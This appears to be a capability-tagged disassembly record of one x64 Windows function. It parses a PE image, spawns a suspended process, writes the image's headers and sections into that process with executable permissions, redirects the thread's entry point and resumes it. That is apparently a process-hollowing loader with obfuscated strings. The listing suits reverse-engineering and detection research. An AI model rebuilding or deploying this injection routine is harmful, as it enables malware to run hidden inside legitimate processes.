Function at 0x140063620
Capabilities:
Parse pe header
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov qword [rax + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rax - 0xf8]
sub rsp, 0x1c0
mov qword [rbp + 0x48], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rbx, r8
mov r12, rdx
mov r15, rcx
xor eax, eax
mov qword [rsp + 0x78], rax
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x78], rax
call fcn.1400604f0
mov edi, eax
xor r14b, r14b
or rsi, 0xffffffffffffffff
movzx r13d, byte [rbp + 0x138]
test r13b, r13b
je 0x140063847
call fcn.1400621b0
mov rcx, rax
xor eax, eax
test rcx, rcx
setne al
test eax, eax
jne 0x1400636aa
mov ecx, 0x80004005
call fcn.1400089a0
int3
mov rax, qword [rcx]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rbp - 0x70], rax
movzx r9d, byte [rbp + 0x130]
lea r8, [rbp - 0x70]
lea rdx, [rsp + 0x78]
mov ecx, edi
call fcn.140064cf0
mov rbx, qword [rbp - 0x70]
test al, al
je 0x1400637c3
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x1400637c3
lea rax, [rbp - 0x78]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
mov r9d, 2
xor r8d, r8d
mov edx, 0x2000000
call fcn.1400a96a0
test eax, eax
je 0x140063779
xor r8d, r8d
mov rdx, qword [rsp + 0x78]
lea rcx, [rbp - 0x80]
call fcn.1400a90e0
test eax, eax
je 0x14006372f
mov r14b, 1
jmp 0x14006381c
lea rcx, [rbp - 0x2e]
call fcn.140036b80
mov rdx, rax
test rax, rax
je 0x14006374c
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140063743
mov r8d, eax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x2e]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x2a]
mov ecx, 6
rep stosb byte [rdi], al
jmp 0x14006381c
lea rcx, [rbp - 0x24]
call fcn.1400366f0
mov rdx, rax
test rax, rax
je 0x140063799
mov rax, rsi
nop dword [rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140063790
mov r8d, eax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x24]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x20]
mov ecx, 6
rep stosb byte [rdi], al
jmp 0x14006381c
lea rcx, [rbp - 0x1a]
call fcn.140035ca0
mov rdx, rax
test rax, rax
je 0x1400637e0
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x1400637d7
mov r8d, eax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x1a]
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
lea rdi, [rbp - 0x16]
mov ecx, 8
rep stosb byte [rdi], al
mov r8d, dword [rbx - 0x10]
mov rdx, rbx
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdx, [rbx - 0x18]
mov eax, esi
lock xadd dword [rdx + 0x10], eax
dec eax
jg 0x140063834
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + 8]
test r14b, r14b
jne 0x140063840
xor al, al
jmp 0x140063dda
mov rbx, qword [rbp + 0x110]
mov eax, 0x5a4d
cmp word [r15], ax
jne 0x140063d54
movsxd r15, dword [r15 + 0x3c]
add r15, qword [rbp + 0x100]
cmp dword [r15], 0x4550
jne 0x140063d13
lea rdx, [rbp + 0x138]
mov rcx, r12
call fcn.1400a9990
movzx ecx, word [r15 + 4]
mov edx, 0x14c
mov eax, dword [rbp + 0x138]
cmp cx, dx
jne 0x140063896
test eax, eax
jne 0x140063839
mov edx, 0x8664
cmp cx, dx
jne 0x1400638a5
cmp eax, 6
jne 0x140063839
xor eax, eax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rax
xor edx, edx
lea r8d, [rax + 0x68]
lea rcx, [rbp + 0x50]
call fcn.1400cd3b0
mov dword [rbp + 0x50], 0x68
mov dword [rbp + 0x8c], 0x101
xor edi, edi
mov word [rbp + 0x90], di
lea rax, [rsp + 0x60]
xor r9d, r9d
test r13b, r13b
je 0x14006392a
mov qword [rsp + 0x50], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rdi
mov rax, qword [rbp - 0x80]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0x8000404
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
mov r8, rbx
mov rdx, r12
mov rcx, qword [rbp - 0x78]
call fcn.1400a93d0
jmp 0x14006395c
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x8000004
mov dword [rsp + 0x20], edi
xor r8d, r8d
mov rdx, rbx
mov rcx, r12
call fcn.1400a92e0
test eax, eax
je 0x140063ccf
mov r14d, 4
mov r9d, r14d
lea edx, [r14 + 8]
xor ecx, ecx
mov r8d, 0x1000
call fcn.1400ac7c0
mov r13, rax
mov dword [rax + 0x30], 0x100002
mov rdx, rax
mov rcx, qword [rsp + 0x68]
call fcn.1400a9ec0
test eax, eax
je 0x140063c8b
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
lea r9d, [r14 + 4]
lea r8, [rbp - 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.1400ab5f0
nop
lea rcx, [rbp - 2]
call fcn.140047ee0
mov rdx, rax
test rax, rax
jne 0x1400639d5
mov eax, edi
jmp 0x1400639e9
mov rax, rsi
nop dword [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x1400639e0
mov r8d, eax
mov rbx, qword [rbp + 0x120]
mov rcx, rbx
call fcn.1400086e0
nop
lea rdi, [rbp - 2]
xor eax, eax
mov rcx, r14
rep stosb byte [rdi], al
lea rdi, [rbp + 2]
mov ecx, 8
rep stosb byte [rdi], al
lea r12, [r15 + 0x30]
mov eax, dword [rbp - 0x68]
cmp rax, qword [r12]
jne 0x140063a5b
lea rcx, [rbp + 0x16]
call fcn.1400426f0
mov rdx, rax
test rax, rax
je 0x140063a3c
mov rax, rsi
inc rax
cmp byte [rdx + rax], 0
jne 0x140063a33
mov r8d, eax
mov rcx, rbx
call fcn.1400086e0
nop
lea rdi, [rbp + 0x16]
xor eax, eax
mov ecx, 7
rep stosb byte [rdi], al
lea rdi, [rbp + 0x1e]
jmp 0x140063a96
lea rcx, [rbp + 0x2c]
call fcn.140042090
mov rdx, rax
test rax, rax
je 0x140063a79
mov rax, rsi
nop
inc rax
cmp byte [rdx + rax], 0
jne 0x140063a70
mov r8d, eax
mov rcx, rbx
call fcn.1400086e0
nop
lea rdi, [rbp + 0x2c]
xor eax, eax
mov ecx, 7
rep stosb byte [rdi], al
lea rdi, [rbp + 0x34]
mov ecx, 0xe
rep stosb byte [rdi], al
mov rdx, qword [rbp - 0x68]
mov eax, edx
cmp rax, qword [r12]
jne 0x140063b3b
mov rcx, qword [rsp + 0x60]
call fcn.1400aada0
test eax, eax
jne 0x140063af6
lea rcx, [rbp - 0xe]
call fcn.1400479a0
mov rdx, rax
test rax, rax
je 0x140063ad9
mov rax, rsi
nop
inc rax
cmp byte [rdx + rax], 0
jne 0x140063ad0
mov r8d, eax
mov rcx, rbx
call fcn.1400086e0
nop
lea rdi, [rbp - 0xe]
xor eax, eax
mov rcx, r14
rep stosb byte [rdi], al
lea rdi, [rbp - 0xa]
jmp 0x140063b34
lea rcx, [rbp + 0xa]
call fcn.140040a40
mov rdx, rax
test rax, rax
je 0x140063b19
mov rax, rsi
nop word [rax + rax]
inc rax
cmp byte [rdx + rax], 0
jne 0x140063b10
mov r8d, eax
mov rcx, rbx
call fcn.1400086e0
nop
lea rdi, [rbp + 0xa]
xor eax, eax
mov rcx, r14
rep stosb byte [rdi], al
lea rdi, [rbp + 0xe]
mov ecx, 8
rep stosb byte [rdi], al
mov eax, 0x40
cmp byte [rbp + 0x128], 0
cmovne r14d, eax
mov r8d, dword [r15 + 0x50]
mov dword [rsp + 0x20], r14d
mov r9d, 0x3000
mov rdx, qword [r12]
mov rcx, qword [rsp + 0x60]
call fcn.1400ac870
mov r14, rax
test rax, rax
je 0x140063c34
mov r9d, dword [r15 + 0x54]
xor edi, edi
mov qword [rsp + 0x20], rdi
mov rsi, qword [rbp + 0x100]
mov r8, rsi
mov rdx, rax
mov rcx, qword [rsp + 0x60]
call fcn.1400acd10
movzx eax, word [r15 + 0x14]
mov ebx, edi
cmp di, word [r15 + 6]
jae 0x140063be4
lea rdi, [r15 + 0x2c]
add rdi, rax
xor r12d, r12d
nop
mov r9d, dword [rdi - 4]
mov r8d, dword [rdi]
add r8, rsi
mov edx, dword [rdi - 8]
add rdx, r14
mov qword [rsp + 0x20], r12
mov rcx, qword [rsp + 0x60]
call fcn.1400acd10
lea rdi, [rdi + 0x28]
inc ebx
movzx eax, word [r15 + 6]
cmp ebx, eax
jl 0x140063bb0
lea r12, [r15 + 0x30]
xor edi, edi
mov rdx, qword [r13 + 0x88]
add rdx, 0x10
mov qword [rsp + 0x20], rdi
mov r9d, 8
mov r8, r12
mov rcx, qword [rsp + 0x60]
call fcn.1400acd10
mov eax, dword [r15 + 0x28]
add rax, r14
mov qword [r13 + 0x80], rax
mov rdx, r13
mov rcx, qword [rsp + 0x68]
call fcn.1400ac3a0
mov rcx, qword [rsp + 0x68]
call fcn.1400abcf0
mov dil, 1
jmp 0x140063d9d
lea rcx, [rbp - 0x42]
call fcn.140038290
test rax, rax
jne 0x140063c46
xor esi, esi
jmp 0x140063c4f
inc rsi
cmp byte [rax + rsi], 0
jne 0x140063c46
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x42]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x3e]
mov ecx, 6
rep stosb byte [rdi], al
xor edx, edx
mov rcx, qword [rsp + 0x60]
call fcn.1400ac5a0
jmp 0x140063d9a
lea rcx, [rbp - 0x56]
call fcn.140037df0
test rax, rax
jne 0x140063ca0
mov esi, edi
jmp 0x140063ca9
inc rsi
cmp byte [rax + rsi], 0
jne 0x140063ca0
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x56]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x52]
jmp 0x140063c73
lea rcx, [rbp - 0x60]
call fcn.140037960
test rax, rax
jne 0x140063ce1
mov esi, edi
jmp 0x140063cea
inc rsi
cmp byte [rax + rsi], 0
jne 0x140063ce1
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x60]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x5c]
jmp 0x140063d93
lea rcx, [rbp - 0x4c]
call fcn.1400374c0
test rax, rax
jne 0x140063d25
xor esi, esi
jmp 0x140063d2e
inc rsi
cmp byte [rax + rsi], 0
jne 0x140063d25
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x4c]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x48]
jmp 0x140063d93
lea rcx, [rbp - 0x38]
call fcn.140037020
test rax, rax
jne 0x140063d66
xor esi, esi
jmp 0x140063d6f
inc rsi
cmp byte [rax + rsi], 0
jne 0x140063d66
mov r8d, esi
mov rdx, rax
mov rcx, qword [rbp + 0x118]
call fcn.1400086e0
nop
lea rdi, [rbp - 0x38]
xor eax, eax
mov ecx, 3
rep stosb byte [rdi], al
lea rdi, [rbp - 0x34]
mov ecx, 6
rep stosb byte [rdi], al
xor dil, dil
mov rcx, qword [rbp - 0x80]
test rcx, rcx
je 0x140063db3
call fcn.1400a9620
xor ebx, ebx
mov qword [rbp - 0x80], rbx
jmp 0x140063db5
xor ebx, ebx
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140063dc7
call fcn.1400a8de0
mov qword [rbp - 0x78], rbx
mov rcx, qword [rsp + 0x78]
test rcx, rcx
je 0x140063dd6
call fcn.1400a8de0
movzx eax, dil
mov rbx, qword [rsp + 0x208]
add rsp, 0x1c0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret